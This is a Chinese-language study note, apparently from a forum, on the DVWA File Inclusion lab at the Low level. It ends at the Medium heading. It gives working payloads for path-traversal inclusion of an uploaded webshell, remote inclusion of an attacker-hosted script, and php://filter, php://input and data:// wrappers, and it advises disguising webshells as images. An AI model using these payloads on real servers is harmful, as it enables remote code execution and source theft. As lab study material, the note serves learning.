第三天
DVWA靶机 File Inclusion
0x00 Low Level
总结
源代码:- [/code]关于该漏洞的三种方法:
- [list=1]
- [*]文件上传
- [*]长途包罗
- [*]php伪协议
- [/list][i][b]注意[/b][/i]
- [b]1. 文件上传[/b]
- 利用之前上传的Websell.php文件,可以构造url
- [indent]url(相对路径)
- http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/Webshell.php&cmd=system("dir");
- url(绝对路径)
- http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/DVWA-master/hackable/uploads/Webshell.php?cmd=system("dir");
- [/indent][list=1]
- [*]../代表退回上个目次
- [*]相对路径的url用?给cmd传参会产生报错,指出[b]include_path[/b] 因为php将?后面的当作参数而不是路径,但是include照旧当作路径,所以包罗的文件要想传递参数可以利用&
- [/list][indent]源码index.php
- [/indent][code]if( isset( $file ) )
- include( $file );
- else {
- header( 'Location:?page=include.php' );
- exit;
- }
复制代码 关于include
NEW IDEA
文件上传漏洞可以和文件包罗漏洞连用,比如说如果一个服务器既可以文件上传又可以文件包罗,可能在文件上传的时候限制了必须是图片类型同时还没办法绕过,那么可以思量将一句话木马改成图片的形式,从而乐成上传,得到上传的地点,通过文件包罗在url中进行执行该文件,通常选择在当前目次下生成新的shell脚本然后与蚁剑等管理脚本的工具连接。
常用的一句话木马:
- [/code][indent][b]在当前目次下建立php文件,内部内容为一句话木马[/b]
- [/indent][b]2. 长途包罗[/b]
- 指文件在攻击机中并未上传,但是却可以在url中输入其所在位置,而且服务器可以执行。
- 这里因为靶机建在D盘所以可以将C盘模拟视为攻击机所在位置,而一样平常情况下都会思量将虚拟机视为攻击机
- [b]如果将虚拟机(kali)视为攻击机[/b]
- [list=1]
- [*]虚拟机开启[b]apache[/b]。
- [*]从虚拟机的[b]本地网络文件[/b]下(var/www/html)存放用于攻击的脚本文件。
- [*]在被攻击服务器的url中page传参过程中输入kali虚拟机ip地址
- [indent] ?page=http://ip/Webshell.php
- [/indent]
- [/list][b]3. PHP伪协议[/b]
- [indent]一样平常的解释:
- [i]PHP伪协议是一种特殊的协议,它可以让PHP执行一些特定的操作。固然称为“伪协议”,但实际上它并[b]不是真正的协议[/b],而是一种[b]通过URL来执行特定的PHP代码[/b]的机制。[/i]
- [/indent][i][b]url中利用特殊的前缀指示php执行特定的代码[/b][/i]
- [list]
- [*]一些伪协议类型
- [/list](1) file://
- [indent]访问本地文件
- [/indent][code]$contents = file_get_contents(‘file:///path/to/file.txt’);
复制代码 (2) http:// && https://
通过HTTP访问长途的资源
- $content = file_get_contents('http://example.com');
复制代码 (3) php://
将PHP代码作为字符串传递给PHP函数进行处理,常用于动态生成代码或执行简单的盘算。
php://filter- ?page=php://filter/read=convert.base64-encode/resource=file1.php
复制代码通过php协议读取本地敏感的源代码,颠末base64加密,返回
需要知道网站的目次结构,文件的路径
php://input
post请求中的数据作为PHP代码执行
- url: ?page=php://input
- post: <?php phpinfo(); ?>
复制代码 可以尝试用Burpsuite进行抓包,将url修改为?page=php://input ,然后在抓包的末端,参加盼望执行的php代码。
(4) data://
将数据嵌入到 PHP 脚本中,与php://input类似是执行代码,但是不同的是执行的方式。
- url1: ?page=data:text/plain,<?php 执行内容 ?>
- or
- url2: ?page=data:text/plain;base64,base64编码后的php代码
复制代码 这两个方法在本题中都颠末实验是可行的
0x01 Medium Level
源码:
[code] |